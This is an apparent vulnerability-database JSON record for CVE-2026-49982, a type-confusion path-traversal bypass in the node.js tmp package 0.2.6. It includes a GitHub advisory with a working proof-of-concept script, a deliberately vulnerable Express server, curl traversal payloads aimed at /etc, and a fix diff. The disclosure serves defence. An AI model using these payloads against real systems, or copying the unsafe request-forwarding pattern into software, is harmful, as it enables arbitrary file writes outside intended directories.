{"id":"EUVD-2026-36265","revision":null,"records":[{"revision":"b480f50d603440e79794b294725d3cac","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-49982","aliases":[],"title":"tmp: Type-confusion bypass of _assertPath in tmp@0.2.6 allows path traversal via non-string prefix/postfix/template","description":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.","state":0,"publishedAt":"2026-06-11T15:45:00.685+00:00","modifiedAt":"2026-06-11T18:24:22.459+00:00","affected":[{"ecosystem":"Vendor product","name":"node-tmp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"raszi\",\n                    \"product\": \"node-tmp\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0.2.6\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"severity":"HIGH"}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-49982","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-49982","identifiers":["CVE-2026-49982"]},"retained":false,"historicalAffected":[]},{"revision":"332bd6d12d82422daf94c5295e24ff0e","observedAt":"2026-11-07T11:32:22.382+00:00","statement":{"source":"euvd","id":"EUVD-2026-36265","aliases":["CVE-2026-49982","GHSA-7c78-jf6q-g5cm"],"title":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-…","description":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"severity":null}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-36265","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 11, 2026, 3:45:00 PM","dateUpdated":"Jun 11, 2026, 6:24:22 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-36265","identifiers":["EUVD-2026-36265","CVE-2026-49982","GHSA-7c78-jf6q-g5cm"]},"retained":false,"historicalAffected":[]},{"revision":"c291716e4a2a4780821967b3ef20bc1a","observedAt":"2026-10-27T13:11:58.28+00:00","statement":{"source":"nvd","id":"CVE-2026-49982","aliases":[],"title":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-…","description":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.","state":0,"publishedAt":"2026-06-11T17:16:35.227+00:00","modifiedAt":"2026-10-26T11:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"severity":"HIGH"}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49982","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-20","CWE-22"],"productCriteria":["cpe:2.3:a:raszi:tmp:0.2.6:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-06-11T17:16:35.227","lastModified":"2026-10-26T11:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-49982","identifiers":["CVE-2026-49982"]},"retained":false,"historicalAffected":[]},{"revision":"ccc76e8284804135b9bd88379fb0b07b","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-7c78-jf6q-g5cm","aliases":["CVE-2026-49982"],"title":"tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template","description":"### Summary\n\nThe `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes('..')` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process's privileges.\n\nThis affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion.\n\n### Impact\n\n- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.\n- Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap.\n- File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.\n\n### Affected versions\n\n`tmp` >= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.\n\n### Vulnerable code\n\n`lib/tmp.js` at tag `v0.2.6`, commit 41f7159:\n\n```javascript\n// lib/tmp.js:533-539\nfunction _assertPath(path) {\n  if (path.includes(\"..\")) {\n    throw new Error(\"Relative value not allowed\");\n  }\n\n  return path;\n}\n```\n\n```javascript\n// lib/tmp.js:577-580\noptions.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\noptions.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\noptions.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n```\n\n```javascript\n// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join\nconst name = [\n  opts.prefix ? opts.prefix : 'tmp',\n  '-',\n  process.pid,\n  '-',\n  _randomChars(12),\n  opts.postfix ? '-' + opts.postfix : ''\n].join('');\n\nreturn path.join(tmpDir, opts.dir, name);\n```\n\nRoot cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes('..')` checks element equality (so `['../escape'].includes('..')` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () => false` defeats the check entirely. In both shapes, the subsequent `[...].join('')` and `path.join(...)` coerce the value to its underlying string, which still contains `../`.\n\n### How untrusted data reaches `_assertPath`\n\nTwo production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`:\n\n1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value's type. A body of `{\"prefix\":[\"../escape\"]}` reaches the handler as an Array.\n2. `qs`-style bracket-array query strings. Express 4's default `qs` parser turns `?prefix[]=../escape` into `['../escape']`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).\n\nThe consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.\n\n### Proof of concept (string vs array)\n\n`poc.js` (run after `npm install tmp@0.2.6`):\n\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\n\nconsole.log('[negative control] string \"../escape\" - must be blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });\n  console.log('  UNEXPECTED, file at:', r.name);\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED as expected:', e.message);\n}\n\nconsole.log('\\n[bypass] array [\"../escape\"] - same effective value, not blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n\nconsole.log('\\n[bypass] duck-typed object {toString, includes} - also not blocked');\ntry {\n  const r = tmp.fileSync({\n    tmpdir: baseDir,\n    prefix: { toString: () => '../escape', includes: () => false }\n  });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n```\n\nObserved output on `tmp@0.2.6`:\n\n```text\n[negative control] string \"../escape\" - must be blocked\n  BLOCKED as expected: Relative value not allowed\n\n[bypass] array [\"../escape\"] - same effective value, not blocked\n  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn\n  ESCAPED: true\n\n[bypass] duck-typed object {toString, includes} - also not blocked\n  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf\n  ESCAPED: true\n```\n\n### End-to-end reproduction (against the deployed npm package)\n\nInstall:\n\n```bash\nmkdir tmp-bypass-poc && cd tmp-bypass-poc\nnpm init -y\nnpm install tmp@0.2.6 express@5\n```\n\n`victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`:\n\n```javascript\nconst express = require('express');\nconst tmp = require('tmp');\nconst fs = require('fs');\nconst path = require('path');\n\nconst app = express();\napp.use(express.json());\n\nconst TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');\nconsole.log('[victim] Tenant base dir:', TENANT_BASE);\n\napp.post('/upload', (req, res) => {\n  const userPrefix = req.body.prefix;  // attacker-controlled\n  console.log('[victim] received prefix:', JSON.stringify(userPrefix),\n              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');\n\n  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {\n    if (err) {\n      console.log('[victim] tmp error:', err.message);\n      return res.status(400).json({ error: err.message });\n    }\n    fs.writeSync(fd, 'attacker-controlled-content');\n    fs.closeSync(fd);\n    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));\n    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);\n    res.json({ filepath, escaped, tenantBase: TENANT_BASE });\n  });\n});\n\napp.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));\n```\n\nRun:\n\n```bash\nnode victim-server.js &\n```\n\nDrive three requests from another shell:\n\n```bash\necho '=== ATTACK 1: string prefix - caught by 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":\"../escape-string\"}' http://127.0.0.1:3000/upload\n\necho\necho '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":[\"../escape-array\"]}' http://127.0.0.1:3000/upload\n\necho\necho '=== ATTACK 3: multi-level traversal toward /etc ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":[\"../../../etc/poc-tmp-bypass\"]}' http://127.0.0.1:3000/upload\n```\n\nCaptured transcript (verbatim from the test rig):\n\n```text\n=== ATTACK 1: string prefix - caught by 0.2.6 ===\n{\"error\":\"Relative value not allowed\"}\n\n=== ATTACK 2: array prefix - bypasses 0.2.6 ===\n{\"filepath\":\"/private/tmp/escape-array-79635-gEFyGCBNFSTh\",\"escaped\":true,\"tenantBase\":\"/tmp/tenant-base-3XHwPZ\"}\n\n=== ATTACK 3: multi-level traversal toward /etc ===\n{\"error\":\"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'\"}\n```\n\nServer log:\n\n```text\n[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ\n[victim] received prefix: \"../escape-string\" (type: string )\n[victim] tmp error: Relative value not allowed\n[victim] received prefix: [\"../escape-array\"] (type: array )\n[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true\n[victim] received prefix: [\"../../../etc/poc-tmp-bypass\"] (type: array )\n[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'\n```\n\nObservations:\n\n- ATTACK 1 (string `../escape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings.\n- ATTACK 2 (array `[\"../escape-array\"]`) passes the guard and creates a file at `/private/tmp/escape-array-...`, outside the tenant base `/tmp/tenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`:\n\n```bash\n$ ls -la /tmp/escape-array-*\n-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh\n$ cat /tmp/escape-array-*\nattacker-controlled-content\n$ ls -la /tmp/tenant-base-3XHwPZ/\ntotal 0\ndrwx------ 2 rick  wheel   64 May 27 20:25 .\n```\n\n  Tenant base is empty. The escape is complete.\n\n- ATTACK 3 (array `[\"../../../etc/poc-tmp-bypass\"]`) reaches `fs.open` for `/etc/poc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.\n\n### Negative control with patched build\n\nApplying the suggested fix below and re-running ATTACK 2:\n\n```text\n=== ATTACK 2: array prefix - after fix ===\n{\"error\":\"prefix option must be a string, got \\\"object\\\".\"}\n```\n\nThe patched build rejects non-string `prefix`/`postfix`/`template` with a clear type error before the path is constructed.\n\n### Suggested fix\n\nPatch `_assertPath` to require a string argument. The check `value.includes('..')` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it.\n\n```diff\n--- a/lib/tmp.js\n+++ b/lib/tmp.js\n@@ -528,11 +528,14 @@ function _generateTmpName(opts) {\n /**\n- * Check the prefix and postfix options\n+ * Check the prefix, postfix, and template options\n  *\n  * @private\n  */\n-function _assertPath(path) {\n-  if (path.includes(\"..\")) {\n+function _assertPath(option, value) {\n+  if (typeof value !== 'string') {\n+    throw new Error(`${option} option must be a string, got \"${typeof value}\".`);\n+  }\n+  if (value.includes(\"..\")) {\n     throw new Error(\"Relative value not allowed\");\n   }\n\n-  return path;\n+  return value;\n }\n@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {\n   options.unsafeCleanup = !!options.unsafeCleanup;\n\n   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to\n-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\n-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\n-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);\n+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);\n+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);\n }\n```\n\nDefence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`.\n\n### Fix PR\n\nhttps://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1\n\n### Credit\n\nReported by tonghuaroot.","state":0,"publishedAt":"2026-06-15T16:36:46+00:00","modifiedAt":"2026-09-10T03:50:48.7289567+00:00","affected":[{"ecosystem":"npm","name":"tmp","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.2.6"},{"kind":"fixed","version":"0.2.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm","https://nvd.nist.gov/vuln/detail/CVE-2026-49982","https://github.com/raszi/node-tmp"],"sourceUrl":"https://github.com/advisories/GHSA-7c78-jf6q-g5cm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7c78-jf6q-g5cm","identifiers":["GHSA-7c78-jf6q-g5cm","CVE-2026-49982"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.014368+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.014369+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-aac6631b84e101279eb6b1c3835f52bf7b26c50f4d25bc0fb35977235593f4a7","complete":true,"records":420943,"lastAttemptAt":"2026-11-07T20:07:23.1739993+00:00","lastSuccessAt":"2026-11-07T20:07:23.0712879+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.1739993+00:00","snapshotPublishedAt":"2026-11-07T19:18:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. 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